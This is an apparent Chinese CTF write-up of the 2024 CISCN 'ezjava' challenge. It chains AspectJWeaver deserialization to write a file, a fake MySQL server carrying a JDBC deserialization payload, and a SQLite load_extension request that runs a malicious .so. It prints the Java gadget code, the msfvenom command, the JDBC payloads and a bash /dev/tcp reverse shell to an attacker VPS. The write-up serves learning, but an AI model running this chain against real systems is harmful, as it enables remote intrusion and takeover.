2024CISCN ezjava复现

起点

首先打开题目,可以看到一个JDBC连接页面

猜测题目是跟JDBC ATTACK有关,把题目给的附件app.jar扔到jadx逆向还原,导出源码

源码分析

用IDEA打开导出的源码,进入com/example/jdbctest目录分析

分析发现controller/JdbcController.java定义了请求路由

关注services/DatasourceServiceImpl.java,发现其定义了数据库连接的类型,其中url可控且存在利用点,类型1对应Mysql,类型3对应Sqlite

那我们可以尝试打MySQL JDBC反序列化写文件和SQLite SSRF读文件,但是具体怎么打呢

继续分析,在META-INF/maven/com.example/jdbcTest/pom.xml发现aspectjweaver

同时关注到bean/UserBean.java有个readObject可以执行反序列化,且里面参数可控

可以打aspectjweaver反序列化,那思路就很清晰了,我们通过aspectjweaver反序列化写恶意so文件,然后用mysql jdbc反序列化开虚假mysql服务写入恶意文件,最后用sqlite ssrf加载so文件即可

利用过程

AspectJWeaver反序列化

aspectjweaver中有一个SimpleCache类,SimpleCache类中的内部类StoreableCachingMap是一个继承HashMap的类,其重写了HashMapput方法,put方法中的writeToPath方法执行了写入文件的操作

具体可以参考文章:AspectJWeaver反序列化利用链

然后我们重新看看UserBean.java,里面的nameage都可控,obj可控因此a也可控,且内容age会进行base64解码后再写入

可以通过反射来获取属性,用setAccessible绕过访问限制,再修改其对应的值,可以参考上面文章的简单demo部分来写

具体payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.test;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
HashMap map = (HashMap)con.newInstance("/tmp/", 1); //存放路径,必须要存在的
Constructor constructor = Class.forName("com.example.jdbctest.bean.UserBean").getDeclaredConstructor();
constructor.setAccessible(true);
Object userBean = constructor.newInstance();
Class cls = userBean.getClass();
Field field = cls.getDeclaredField("obj");
field.setAccessible(true);
field.set(userBean, map);
Field field1 = cls.getDeclaredField("name");
field1.setAccessible(true);
field1.set(userBean, "evil.so"); //文件名
Field field2 = cls.getDeclaredField("age");
field2.setAccessible(true);
String payload = ""; //文件内容
field2.set(userBean, payload);
byte[] bytes = serialize(userBean);
System.out.println(new String(Base64.getEncoder().encode(bytes)));
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
}

文件内容我们就写恶意so文件导出的base64编码

先将要执行的命令进行base64编码

1
2
3
bash -c "bash -i >& /dev/tcp/你的vps地址/8888 0>&1"

得到 YmFzaCAtYyAiYmFzaCAtaSA+Jxxxxxxx

用msfvenom创建恶意so文件

1
msfvenom -p linux/x64/exec CMD='echo 编码后的内容|base64 -d|bash' -f elf-so -o evil.so

接着执行cat evil.so | base64 -w0获取so文件编码后的内容,base64 -w0表示不换行

复制这段内容到payload里面,执行获取编码后的序列化数据

MySQL JDBC反序列化

接下来就是打mysql jdbc反序列化写文件,制作虚假mysql服务

原理可以参考:MySQL JDBC 反序列化漏洞分析

这里用工具Fake Server来制作虚假服务,链接:https://github.com/4ra1n/mysql-fake-server

把上面执行得到的序列化数据写入Gadget,如图所示,按顺序执行

ip这里要说下,由于一般本地电脑是没有公网ip的,你写自己的电脑ip进去是不行的,那怎么办,建议最好有个服务器吧,在服务器部署frp服务,然后内网穿透进行反向代理,可以参考文章内网穿透神器FRP部署教程,快的话十几分钟就可以,或者你买个短期的静态ip地址来用

我这里用frp进行反向代理连接我本地的端口

弄完之后,点击Copy Payload复制payload,然后重新打开题目网页选择Mysql随便输入内容抓个包,看看格式

把里面的url改成我们刚才复制的payload,然后发包

1
{"type":"1","url":"jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ1VTVE9N"}

获得如下结果就说明成功了

SQLite JDBC加载恶意动态链接库

最后就是通过SQLite加载恶意文件

可以参考文章:SQLite With SSRF

先在服务器开启nc监听

1
nc -lvvp 8888

然后构造payload发包,由于load_extension默认是关闭的,需要enable_load_extension=true开启才能用

1
{"type":"3","tableName":"(select(load_extension(\"/tmp/evil.so\")));","url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"}

成功反弹shell

读取flag文件发现权限不够,ls -l查看权限,发现flag没有执行权限,但是readflag存在执行权限,直接执行获取flag

总结

这道题用到了很多知识点,包括AspectJWeaver反序列化、MySQL JDBC反序列化和SQLite SSRF等,总体来说有些难度,也是参考了很多资料,建议深入学习这些知识点,尤其是JDBC方面的漏洞和Java反射机制,做题做下来感觉基础很重要,学好了做这种题就会轻松很多,与君共勉,继续加油!!

作者

WayneJoon.H

发布于

2025-11-04

许可协议